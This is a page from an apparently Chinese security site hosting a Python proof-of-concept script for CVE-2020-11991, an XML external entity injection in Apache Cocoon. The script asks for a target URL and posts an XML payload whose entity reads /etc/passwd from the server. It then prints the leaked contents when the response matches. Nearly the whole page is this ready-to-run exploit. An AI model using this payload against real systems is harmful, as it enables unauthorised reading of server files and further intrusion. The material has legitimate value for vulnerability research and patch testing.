menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right POC chevron_right Apache Cocoon XML注入 CVE-2020-11991.py
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Apache Cocoon XML注入 CVE-2020-11991.py
    1.78 KB / 2021-04-15 12:15:18
        #!/usr/bin/python3
    #-*- coding:utf-8 -*-
    # author : PeiQi
    # from   : http://wiki.peiqi.tech
    
    import requests
    import base64
    import sys
    
    
    def title():
        print('+------------------------------------------')
        print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
        print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
        print('+  \033[34m公众号 : PeiQi文库                                                \033[0m')
        print('+  \033[34mVersion: Apache Cocoon <= 2.1.12                                  \033[0m')
        print('+  \033[36m使用格式: python3 CVE-2020-11991                                    \033[0m')
        print('+  \033[36mUrl    >>> http://xxx.xxx.xxx.xxx                                 \033[0m')
        print('+------------------------------------------')
    
    def POC_1(target_url):
        vuln_url = target_url + "/v2/api/product/manger/getInfo"
        data = """
            <!--?xml version="1.0" ?-->
            <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
            <userInfo>
            <firstName>John</firstName> 
            <lastName>&ent;</lastName>
            </userInfo>
        """
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        }
    
        response = requests.request("POST", url=vuln_url, data=data, headers=headers, timeout=20)
        if "/bin/bash" in response.text:
            print("\033[32m[o] 含有CVE-2020-11991漏洞,响应为{}\033[0m".format(response.text))
        else:
            print("\033[31m[x] 漏洞利用失败 \033[0m")
    
    if __name__ == '__main__':
        title()
        target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
        POC_1(target_url)
    
    
    links
    file_download